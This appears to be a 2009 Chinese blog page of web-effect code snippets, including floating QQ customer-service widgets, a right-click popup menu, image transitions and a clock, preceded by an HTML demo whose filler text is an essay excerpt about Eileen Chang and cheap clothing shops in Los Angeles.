    <td width="82%"><font face="宋体" color="#FF00FF" style="font-size: 9pt">

        </font><span style="font-size: 9pt">

    人人爱谈张爱玲,尤其在论及服饰的时候。我不能免俗,也来附庸风雅一番。张爱玲纪念文集提到她逝世时的寓所,地址非常眼熟,后来才知道那公寓就在UC

    LA正门附近。我和朋友好奇心起,课后前去朝圣一番,发现果真就是文集照片中的公寓,只不过屋前绿树茁壮更胜以往,和目前公寓的灰暗色调形成讽刺对比。耳闻张爱玲生前喜欢在UCLA附近不时搬迁,居无定所,像一头中枪后逃逸的狐狸,不停回头将沿路滴落的血迹舐去,以免猎人循迹跟上。 <br>

    <br>

      我以刚出道的猎人口吻说∶传言中张的住所很狼狈,她的衣物都随便搁在纸箱或超级市场收集来的塑胶袋里唷。 <br>

    <br>

      比我早来洛杉矶数年的同行朋友却说∶有何奇怪?我的衣物书籍也都塞在纸箱和塑胶袋里。搬家的时候反而方便啊。 <br>

    <br>

      朋友的粗廉生活让我很不以为然;当时我才初抵美国未久。 <br>

    <br>

      试想,任何华丽的衣裳只要一落进超级市场塑胶袋,看起来就像垃圾。把生活尽数装在塑胶袋里,岂不是将自己完全垃圾化? <br>

    <br>

      但,在开始租屋、收集家具之后,我也开始世故驯化。留学生余钱无多,时常面临搬家压力。因此,我很少购衣;如要花钱,选择并不多。 <br>

    <br>

      从UCLA门口驱车南行,经过张爱玲故居,就来到了”ROSS“成衣批发店。ROSS陈列满坑满谷的名牌服饰,但因都是瑕疵品,比如说胸口的商标掉到肚脐位置的马球衫之类,张冠李戴,品质荒唐,所以售价低廉。许多经济能力较差的黑人和墨西哥人就来这里翻索便宜的CK、耐吉、DKNY;我加入他们肤色鲜艳的行列,结帐时将微疵的战利品装在塑胶袋里-而非百货公司的雅痞纸袋。说不定当年张爱玲也曾经蹋著脸徒步到这里找便宜货,混迹各色人种之间,没有人认出她何许人也。 <br>

    <br>

      虽然每次光顾ROSS都省了钱,而且享受与有色人种站在同一阵线的政治正确虚荣感,但每一次的经验都极其卑微沮丧。好莱坞电影中,彩色画报里,那种昂首阔步走进香蕉共和国的潇洒意象,在现实美国里却好遥远。还是认份光顾量贩店,站在平庸空间里排队,细细咀嚼外国人的贫穷滋味。 <br>

    <br>

      时装海报里,那些空灵的躯干之间,并没有留下什么空位给我者。 <br>

    <br>

      在日落大道两岸,巨幅时装广告海报一张张浮悬空中,像敦煌壁画,海报里俊男美女睥睨众生,佛似的自在庄严,日落大道一如当代加 <br>

    <br>

      州的丝路。AFAbercrombie & Fitch的白人男孩在阳光下微笑展示金身,好生慈悲。我猜美国当前年轻男性最风靡的服饰品牌之一大概就是AF,青春的傲慢包装成若无其事的天真潇洒。难怪校园里穿AF的大男孩比比皆是(怪的是,任何人穿了AF就会变得性感);许多男同志也表示,看了AF男孩就会流口水(许多人在徵友广告中表明,想要找AF风格的男孩)。记得春天清晨我行过波士顿哈佛大学,赫然发现哈佛广场前最招摇的海报就来自AF,金发男孩的美丽笑脸占据了整个橱窗,诡异的意象。光是一张笑脸就比一家书店还要庞大。我望之却步了。 <br>

    <br>

      </span></td>           

  </tr>           

</table>                  

           

<script language="vbscript">

dim red,gre,blu

dim x,y,z

red=255

gre=255

blu=0

z=100

 

sub window_onload()

call mybody.filters.light.addPoint(0,0,z,Red,Gre,Blu,100)

mybody.style.cursor="hand"

end sub

 

 

sub document_onmousemove()

x=window.event.x

y=window.event.y

call mybody.filters.Light.MoveLight(0, x, y, 100, 1)

end sub

</script>

 

<script language="javascript">

//这是使图层移动的函数

function move_layer()

{

Layer1.style.left=event.clientX+document.body.scrollLeft-50;

Layer1.style.top=event.clientY+document.body.scrollTop-20;

}

//这里的意思是,如果鼠标移动时就调用"move_layer"函数

document.onmousemove =move_layer;

</script>

 

</body>

</html></p>

 

0 Comments

Thu

19

Mar

2009

35、腾讯QQ网页在线客服2

35、腾讯QQ网页在线客服2

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>腾讯QQ网页在线客服,隐藏在网页一侧的隐现效果二</title>

</head>

 

<body>

<!-- 左隐藏菜单开始 -->

<script language="JavaScript1.2">

 

function move(x, y) {

if (document.all) {

object1.style.pixelLeft += x;

object1.style.pixelTop  += y;}

else

if (document.layers) {

document.object1.left += x;

document.object1.top  += y;

}};

 

function position() {

document.object1.left += -200;

document.object1.top  += 0;

document.object1.visibility = "show"

};

 

function makeStatic() {

if (document.all) {object1.style.pixelTop=document.body.scrollTop+100}

else {eval('document.object1.top=eval(window.pageYOffset+20)');}

setTimeout("makeStatic()",0);}

 

</script>

<!-- 左隐藏菜单结束 -->

<!-- 左隐藏菜单BIG -->

<layer class="NS" onmouseover="move(580,0)" onmouseout="move(-580, 0)" top="20" visibility="hide" name="object1" left="0">

       <script language="JavaScript1.2">

if (document.all)

document.write('<DIV ID="object1" style="Position : Absolute ;Left : -125px ;Top : 20px ;Width : 0px ;Z-Index : 20">')

</script>

       <table onmouseover="move(120,0)" onmouseout="move(-120, 0)" cellspacing="1" cellpadding="2" border="0">

              <tr>

                     <td>

                     <style type="text/css">BODY {

       MARGIN: 0px

}

</style>

                     <table cellspacing="0" cellpadding="0" width="118" align="center" border="0">

                            <tr>

                                   <td>

                                   <img height="160" alt="" src="sto/servicepic_01.jpg" width="118" border="0" name="servicepic_01"></td>

                            </tr>

                            <tr>

                                   <td>

                                   <table cellspacing="0" cellpadding="0" width="118" align="left" border="0">

                                          <tr>

                                                 <td background="sto/servicepic_02.jpg">

                                                 <img height="25" alt="" src="sto/servicepic_02.jpg" width="14" border="0" name="servicepic_02"></td>

                                                 <td align="middle" width="89" bgcolor="#f8f6f7" height="25">

                                                 <a target="blank" href="tencent://message/?uin=251920268&Site=网页特效&Menu=yes">

                                                 <img border="0" src="http://wpa.qq.com/pa?p=1:251920268:10" alt="点击这里给我发消息"></a></td>

                                                 <td background="sto/servicepic_04.jpg">

                                                 <img height="25" alt="" src="sto/servicepic_04.jpg" width="15" border="0" name="servicepic_04"></td>

                                          </tr>

                                   </table>

                                   </td>

                            </tr>

                            <tr>

                                   <td>

                                   <img height="17" alt="" src="sto/servicepic_05.jpg" width="118" border="0" name="servicepic_05"></td>

                            </tr>

                            <tr>

                                   <td>

                                   <table cellspacing="0" cellpadding="0" width="118" align="left" border="0">

                                          <tr>

                                                 <td background="sto/servicepic_06.jpg">

                                                 <img height="24" alt="" src="sto/servicepic_06.jpg" width="14" border="0" name="servicepic_06"></td>

                                                 <td align="middle" width="89" bgcolor="#f8f6f7" height="24">

                                                 <a href="http://amos1.taobao.com/msg.ww?v=2&uid=123456789&s=1" target="_blank">

                                                 <img alt="点击这里给我发消息" src="sto/offline.gif" border="0"></a></td>

                                                 <td background="sto/servicepic_08.jpg">

                                                 <img height="24" alt="" src="sto/servicepic_08.jpg" width="15" border="0" name="servicepic_08"></td>

                                          </tr>

                                          <tr>

                                                 <td background="sto/servicepic_06.jpg"> </td>

                                                 <td align="middle" bgcolor="#f8f6f7" height="35">

                                                 <table cellspacing="1" cellpadding="2" width="88%" align="center" bgcolor="#ffa800" border="0">

                                                        <tr>

                                                               <td align="middle" bgcolor="#ffffff">

                                                               <a href="#" target="_blank">

                                                               <span style="font-size: 9pt">站点留言簿</span></a></td>

                                                        </tr>

                                                 </table>

                                                 </td>

                                                 <td background="sto/servicepic_08.jpg"> </td>

                                          </tr>

                                   </table>

                                   </td>

                            </tr>

                            <tr>

                                   <td>

                                   <img height="22" alt="" src="sto/servicepic_09.gif" width="118" border="0" name="servicepic_09"></td>

                            </tr>

                     </table>

                     </td>

                     <td valign="top" align="middle" width="12" rowspan="100">

                     <img height="109" src="sto/kefu.gif" width="20"> </td>

              </tr>

              <script language="JavaScript1.2">

<!--

if (document.all||document.layers)

makeStatic();

 

if (document.layers) {

window.onload=position;

}

 

var sitems=new Array();

var sitemlinks=new Array();

 

function hl(n) {

n.className='hl'}

function n(h) {

h.className='n'}

//--></script>

       </table>

       <script language="JavaScript1.2">

if (document.all)

document.write('<\/DIV>')

</script>

</layer>

<!-- 左隐藏菜单END -->

<p> </p>

<p> </p>

<p> </p>

</body>

 

</html>

 

0 Comments

Thu

19

Mar

2009

34、腾讯QQ网页在线客服1

34、腾讯QQ网页在线客服1

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效观止-腾讯QQ网页在线客服,随网页滚动条上下移动的效果一</title>

 

</head>

<body>

<DIV id=divStay style="POSITION: absolute">

<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>

  <TBODY>

  <TR>

    <TD vAlign=top width="7%"> </TD></TR></TBODY></TABLE></DIV>

<SCRIPT language=javascript>

function picsize(obj,MaxWidth){

  img=new Image();

  img.src=obj.src;

  if (img.width>MaxWidth)

  {

    return MaxWidth;

  }

  else

  {

    return img.width;

  }

}

function CloseQQ()

{

divStayTopleft.style.display="none";

return true;

}

var online= new Array();

</SCRIPT>

<div id="divStayTopleft" style="POSITION: absolute">

       <table cellspacing="0" cellpadding="0" width="109" border="0">

              <tr>

                     <td colspan="3">

                     <a onclick="CloseQQ()" href="javascript:;" shape="circle" coords="91,16,12">

                     <img height="34" src="sto/qq_top.gif" width="109" usemap="#Map" border="0"></a></td>

              </tr>

              <tr>

                     <td width="6"><img height="100" src="sto/qq_life.gif" width="6"></td>

                     <td valign="top" width="96" background="sto/qq_bg.gif">

                     <table cellspacing="0" cellpadding="0" width="90" align="center" border="0">

                            <tr>

                                   <td height="30">

                                   <table cellspacing="0" cellpadding="0" width="90" border="0">

                                          <tr>

                                                 <td>

                                                 <img height="13" src="sto/qq_ico1.gif" width="16"><span class="font_12">

                                                 <span style="font-size: 9pt">客户服务</span></span></td>

                                          </tr>

                                   </table>

                                   </td>

                            </tr>

                            <tr>

                                   <td>

                                   <table border="0" width="100%" cellpadding="2" id="table47">

                                          <tr>

                                                 <td width="15" valign="top" height="23">

                                                 <img border="0" src="sto/qq_v01.gif" width="16" height="16"></td>

                                                 <td valign="bottom"><script>document.write("<a target=blank href=tencent://message/?uin=251920268&Site=网页特效&Menu=yes><img border=0 SRC=http://wpa.qq.com/pa?p=1:615050000:10 alt=[冰峰]></a>");</script></td>

                                          </tr>

                                   </table>

                                   </td>

                            </tr>

                            <tr>

                                   <td></td>

                            </tr>

                            <tr>

                                   <td>

                                   <table border="0" width="100%" cellpadding="2" id="table47">

                                          <tr>

                                                 <td width="15" valign="top" height="23">

                                                 <img border="0" src="sto/qq_n01.gif" width="16" height="16"></td>

                                                 <td valign="bottom"><script>document.write("<a target=blank href=tencent://message/?uin=251922268&Site=网页特效&Menu=yes><img border=0 SRC=http://wpa.qq.com/pa?p=1:43486831:10 alt=[QQQQQ]></a>");</script></td>

                                          </tr>

                                   </table>

                                   </td>

                            </tr>

                            <tr>

                                   <td></td>

                            </tr>

                     </table>

                     </td>

                     <td width="7"><img height="100" src="sto/qq_right.gif" width="7"></td>

              </tr>

              <tr>

                     <td colspan="3">

                     <img height="30" src="sto/qq_bottom1.gif" width="109"></td>

              </tr>

              <tr>

                     <td colspan="3">

                     <img height="33" src="sto/qq_logo.gif" width="109"></td>

              </tr>

       </table>

</div>

<script type="text/javascript">

function FloatTop()

{

 var startX1 =document.body.offsetWidth-125 ,startY1 = 5;

 var startX2 =0,startY2 = 95;

 var ns = (navigator.appName.indexOf("Netscape") != -1);

 var d = document;

 function ml(id,startX,startY)

 {

  var el=d.getElementById?d.getElementById(id):d.all?d.all[id]:d.layers[id];

  if(d.layers)el.style=el;

  el.sP=function(x,y){this.style.left=x;this.style.top=y;};

  el.x = startX;

  el.y = startY;

  return el;

 }

 window.stayTopLeft=function()

 {

  var pY = ns ? pageYOffset : document.body.scrollTop;

  ftlObj.y += (pY + startY1 - ftlObj.y)/8;

  ftlObj1.y += (pY + startY2 - ftlObj1.y)/8;

  ftlObj.sP(document.body.scrollLeft+document.body.offsetWidth-125, ftlObj.y);

  ftlObj1.sP(ftlObj1.x, ftlObj1.y);

  setTimeout("stayTopLeft()", 30);

 }

//     ftlObj = ml("divStay",document.body.scrollLeft+document.body.offsetWidth-125,0);

//     ftlObj1 = ml("divStayTopLeft",0,30);

 ftlObj = ml("divStay",(document.body.scrollLeft+document.body.offsetWidth)/2+379,0);

 ftlObj1 = ml("divStayTopLeft",(document.body.scrollLeft+document.body.offsetWidth)/2+379,30);

 stayTopLeft();

}

FloatTop();

</script>

<!--End: QQ在线客服 -->

 

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p>  </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p>  </p>

</body>

 

</html>

 

0 Comments

Thu

19

Mar

2009

33、很酷的右键弹出菜单

33、很酷的右键弹出菜单

<HTML xmlns:v><HEAD>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>网页特效代码很酷实用的右键弹出菜单</title>

<STYLE>

v\:*{behavior:url(#default#VML);}

.menulist{position:static;PADDING-TOP:6;LETTER-SPACING:8;HEIGHT:20;TEXT-ALIGN:center;margin-bottom:-2}

</STYLE>

</head>

 

<BODY oncontextmenu='return false'>

 

<Script>

//作者:风云舞

var menutime1=null,showobjs1=null  //menutime1=循环计时器调用变量,showobjs1=绑定菜单,定时器过程执行时调用

function document.onmouseup(){if(event.button==2)menushow(menu2,60,10)}

function menushow(showobjs,showwid,showsudu){  //右键菜单展开函数

 //函数说明:menushow(菜单id,项平均宽度,伸展速度)

if(menutime1!=null){clearInterval(menutime1);menutime1=null}

showobjs.style.left=event.x;showobjs.style.top=event.y;

showobjs1=showobjs.all.tags("roundrect");var showlens=showobjs1.length

for(i=0;i<showlens;i++){showobjs1[i].style.width=0;showobjs1[i].style.visibility="hidden"}

showobjs.style.display=""

menutime1=setInterval("for(i=0;i<"+showlens+";i++){showobjs1[i].style.visibility='';if(showobjs1[i].offsetWidth<"+showwid+"){showobjs1[i].style.width=showobjs1[i].offsetWidth+"+showsudu+";break;}else{if(i=="+(showlens-1)+"){clearInterval(menutime1);menutime1=null}}}",20)

}

function menuclose(showobjs2,showsudu2){  //右键菜单关闭函数

 //函数说明:menushow(菜单id,关闭压缩速度)

if(menutime1!=null)return false

showobjs1=showobjs2.all.tags("roundrect");var showlens=showobjs1.length-1

menutime1=setInterval("for(i="+showlens+";i>-1;i--){if(showobjs1[i].offsetWidth>0){try{showobjs1[i].style.width=showobjs1[i].offsetWidth-"+showsudu2+";break;}catch(e){showobjs1[i].style.visibility='hidden';if(i==0){clearInterval(menutime1);menutime1=null}}}}",20)

}

</script>

 

<span id=menu2 style="position:absolute;Z-INDEX:40000;LEFT:395;TOP:210;color:#739EFE;cursor:hand;display:none;font-size:12px;font-family:宋体" onmouseover="if(event.srcElement.tagName=='roundrect'){event.srcElement.strokecolor='blue';event.srcElement.style.color='blue';event.srcElement.style.marginLeft=10}" onmouseout="if(event.srcElement.tagName=='roundrect'){event.srcElement.strokecolor='#739EFE';event.srcElement.style.color='#739EFE';event.srcElement.style.marginLeft=0}">

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE>

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/><a target=_blank href=http://7stk.com.cn>连接</a></v:roundrect><br>

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE>

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/><a target=_blank href=http://7stk.com.cn>连接</v:roundrect><br>

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE>

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/><a target=_blank href=http://7stk.com.cn>连接</v:roundrect><br>

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE>

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/><a target=_blank href=http://7stk.com.cn>连接新</v:roundrect><br>

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE>

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/><a target=_blank href=http://7stk.com.cn>连接</v:roundrect><br>

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE>

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/><a target=_blank href=http://7stk.com.cn>连接</v:roundrect><br>

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE>

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/><a target=_blank href=http://7stk.com.cn>连接</v:roundrect><br>

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE>

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/><a target=_blank href=http://7stk.com.cn>连接</v:roundrect><br>

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE>

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/><a target=_blank href=http://7stk.com.cn>连接</v:roundrect><br>

<v:roundrect class=menulist arcsize=0.5 strokecolor=#739EFE onmouseup="menuclose(menu2,30)">

<v:fill type=gradient opacity=.4 color=#739EFE color2=white angle="50"/>取消</v:roundrect>

</span>

</body>

 

</html>

 

0 Comments

Thu

19

Mar

2009

32、图形对鼠标反映

32、图形对鼠标反映

 

1.将以下代码加入<head></head>之间

 

 

 

<style>

.filter1 {filter:revealTrans(Duration=2.0,Transition=23)}

</style>

 

 

 

2.<body>改为<body  onload="startChange()">

 

3.将以下代码加入<body></body>之间

 

<script language="JScript">  

var cache1, cache2, vache3;  

cache1 = new Image();  

cache1.src = "images/3.jpg";  

cache2 = new Image();  

cache2.src = "images/4.jpg";  

cache3 = new Image();  

cache3.src = "images/2.jpg";  

var i = 0;  

var j = 0;  

var l = 0;  

function changeImgSrc(imgsrc,dur,trans)  

{  

       idLogo.className = "filter1";  

       idLogo.filters[0].Apply();  

       idLogo.filters.revealTrans.transition=trans;  

       idLogo.filters.revealTrans.duration=dur;  

       idLogo.src = imgsrc;  

       idLogo.filters[0].Play();  

}  

function startChange()  

{  

       t = setInterval("changeImg()",10000);  

}   

function changeImg()  

{  

       var e = idLogo.src;  

       i++;  

       j = i % 3;  

       if (j == 0) changeImgSrc("images/4.jpg",1,23);   

       if (j == 1) changeImgSrc("images/3.jpg",1,23);  

       if (j == 2) changeImgSrc("images/2.jpg",1,23);   

       i = (i > 30000) ? 0 : i;  

}  

function doOver()  

{  

       var e = event.srcElement;  

       l = (l == 0) ? 1 : 0;  

       if (l == 0)  

       {  

       if (j == 1) changeImgSrc("images/3.jpg",0.5,12);  

       if (j == 2) changeImgSrc("images/2.jpg",0.5,12);   

       if (j == 0) changeImgSrc("images/4.jpg",0.5,12);  

       } else  

       {  

       if (j == 1) changeImgSrc("images/4.jpg",0.5,12);  

       if (j == 2) changeImgSrc("images/2.jpg",0.5,12);  

       if (j == 0) changeImgSrc("images/3.jpg",0.5,12);  

       }  

       clearInterval(t);  

}  

function doOut()  

{  

       var e = event.srcElement;  

       if (j == 1) changeImgSrc("images/4.jpg",0.5,12);  

       if (j == 2) changeImgSrc("images/3.jpg",0.5,12);  

       if (j == 0) changeImgSrc("images/2.jpg",0.5,12);  

       t = setInterval("changeImg()",10000);  

}  

</script>  

<img id="idLogo" src="images/2.jpg"  width=150 height=120  onmouseover="doOver()" onmouseout="doOut()">

 

 

0 Comments

Thu

19

Mar

2009

31、超酷手表特效代码

31、超酷手表特效代码

<!--<BODY onload=initObjects()>代替原来的<Body>-->

<!--将以下代码加入HTML<Body></Body>之间-->

 

<SCRIPT language=JavaScript>

var clipTop=0

var clipBottom=clipTop+60

var clipLeft

var clipRight

var isNS

if (document.layers) { (isNS=true) }

var HIDDEN = (isNS) ? 'hide' : 'hidden';

var VISIBLE = (isNS) ? 'show' : 'visible';

var imgSeconds

var imgMinutes

var imgHours

var imgClock

var textDate

var textDay

var textLink

var clipHours=""

var clipMinutes=""

var clipSeconds=""

var startLeft=-5

var startTop=85

var tunePosHour =-2

function initObjects() {

        if (document.all) {

                imgSeconds = document.all.imgSeconds.style

                imgMinutes = document.all.imgMinutes.style

                imgHours = document.all.imgHours.style

                imgClock = document.all.imgClock.style

                textDate = document.all.textDate.style

                textDay = document.all.textDay.style

                textLink = document.all.textLink.style

                startLeft=-5

                startTop=85

                imgHours.posTop=startTop

                imgMinutes.posTop=startTop

                imgSeconds.posTop=startTop

                textDate.posTop = 109

                textDate.posLeft = 86

                textDay.posTop = 109

                textDay.posLeft = 41

                textLink.posTop = 190

                textLink.posLeft = -9

                imgSeconds.visibility=VISIBLE

                imgMinutes.visibility=VISIBLE

                imgHours.visibility=VISIBLE

                imgClock.visibility=VISIBLE

                textDate.visibility=VISIBLE

                textDay.visibility=VISIBLE

                textLink.visibility=VISIBLE

                tickIE()

        }

        if (document.layers) {

                imgSeconds = document.imgSeconds

                imgMinutes = document.imgMinutes

                imgHours = document.imgHours

                imgClock = document.imgClock

                textDate = document.textDate

                textDay = document.textDay

                textLink = document.textLink

                startLeft=-3

                startTop=78

                imgHours.top=startTop

                imgMinutes.top=startTop

                imgSeconds.top=startTop

                textDate.top = 102

                textDate.left = 85

                textDay.top = 102

            textDay.left = 40

                textLink.top = 190

                textLink.left = -10

                imgSeconds.visibility=VISIBLE

                imgMinutes.visibility=VISIBLE

                imgHours.visibility=VISIBLE

                imgClock.visibility=VISIBLE

                textDate.visibility=VISIBLE

                textDay.visibility=VISIBLE

                textLink.visibility=VISIBLE

                tickNS()

        }

}

function tickIE() {

        var now = new Date()

        var nowHours = now.getHours()

        var nowMinutes = now.getMinutes()

        var nowSeconds = now.getSeconds()

        if (nowHours >= 12) {nowHours=nowHours-12}

        imgHours.posLeft=-(nowHours*60*5+((Math.round(nowMinutes/12))*60)+startLeft+tunePosHour)

        clipLeft = -(imgHours.posLeft)+30

        clipRight= clipLeft+60

        clipHours ="rect("+clipTop+" "+clipRight+" "+clipBottom+" "+clipLeft+")"

        imgHours.clip=clipHours

        imgMinutes.posLeft=-((nowMinutes)*60+startLeft)

        clipLeft = -(imgMinutes.posLeft)+30

        clipRight= clipLeft+60

        clipMinutes ="rect("+clipTop+" "+clipRight+" "+clipBottom+" "+clipLeft+")"

        imgMinutes.clip=clipMinutes

        imgSeconds.posLeft=-((nowSeconds)*60+startLeft)

        clipLeft = -(imgSeconds.posLeft)+35

        clipRight= clipLeft+60

        clipSeconds ="rect("+clipTop+" "+clipRight+" "+clipBottom+" "+clipLeft+")"

        imgSeconds.clip=clipSeconds

        var runClock = setTimeout("tickIE()", 100);

}

function tickNS() {

        var now = new Date()

        var nowHours = now.getHours()

        var nowMinutes = now.getMinutes()

        var nowSeconds = now.getSeconds()

        if (nowHours >= 12) {nowHours=nowHours-12}

        imgHours.left=-(nowHours*60*5+((Math.round(nowMinutes/12))*60)+startLeft+tunePosHour+2)

        clipLeft = -(imgHours.left)+30

        clipRight= clipLeft+60

        imgHours.clip.left = clipLeft

        imgHours.clip.right = clipRight

        imgHours.clip.top = clipTop

        imgHours.clip.bottom = clipBottom

        imgMinutes.left=-((nowMinutes)*60+startLeft)

        clipLeft = -(imgMinutes.left)+30

        clipRight= clipLeft+60

        imgMinutes.clip.left = clipLeft

        imgMinutes.clip.right = clipRight

        imgMinutes.clip.top = clipTop

        imgMinutes.clip.bottom = clipBottom

        imgSeconds.left=-((nowSeconds)*60+startLeft)

        clipLeft = -(imgSeconds.left)+35

        clipRight= clipLeft+60

        imgSeconds.clip.left = clipLeft

        imgSeconds.clip.right = clipRight

        imgSeconds.clip.top = clipTop

        imgSeconds.clip.bottom = clipBottom

        var runClock = setTimeout("tickNS()", 100);

}

</SCRIPT>

 

<STYLE>.imgall {

       VISIBILITY: hidden; POSITION: absolute

}

</STYLE>

 

<DIV class=imgall id=imgClock><IMG height=200

src="image/clo.jpg" width=110></DIV>

<SCRIPT language=JavaScript>

        var heute = new Date()

        var wochentag = heute.getDay()

        var heuteDatum = heute.getDate()

        if (wochentag==0) { wochentag = "SAM" }

        else if (wochentag==1) { wochentag = "MON" }

        else if (wochentag==2) { wochentag = "TUE" }

        else if (wochentag==3) { wochentag = "WED" }

        else if (wochentag==4) { wochentag = "THU" }

        else if (wochentag==5) { wochentag = "FRI" }

        else if (wochentag==6) { wochentag = "SUN" }

        document.write('<DIV ID = "textDate" CLASS = "imgall"><font size=1>'+heuteDatum+'</font></DIV>')

        document.write('<DIV ID = "textDay" CLASS = "imgall"><font size=1>'+wochentag+'</font></DIV>')

</SCRIPT>

<SCRIPT type="text/javascript" src=""></SCRIPT>

<SCRIPT language="JavaScript">

<!--

BaiduWriteAD("zouwenyedg","3");

//-->

</SCRIPT>

 

<DIV class=imgall id=imgHours><IMG height=60

src="image/hours1.gif" width=3620></DIV>

<DIV class=imgall id=imgMinutes><IMG height=60

src="image/minutes1.gif" width=3620></DIV>

<DIV class=imgall id=imgSeconds><IMG height=60

src="image/seconds2.gif" width=3620></DIV>

<DIV class=imgall id=textLink></DIV>

 

0 Comments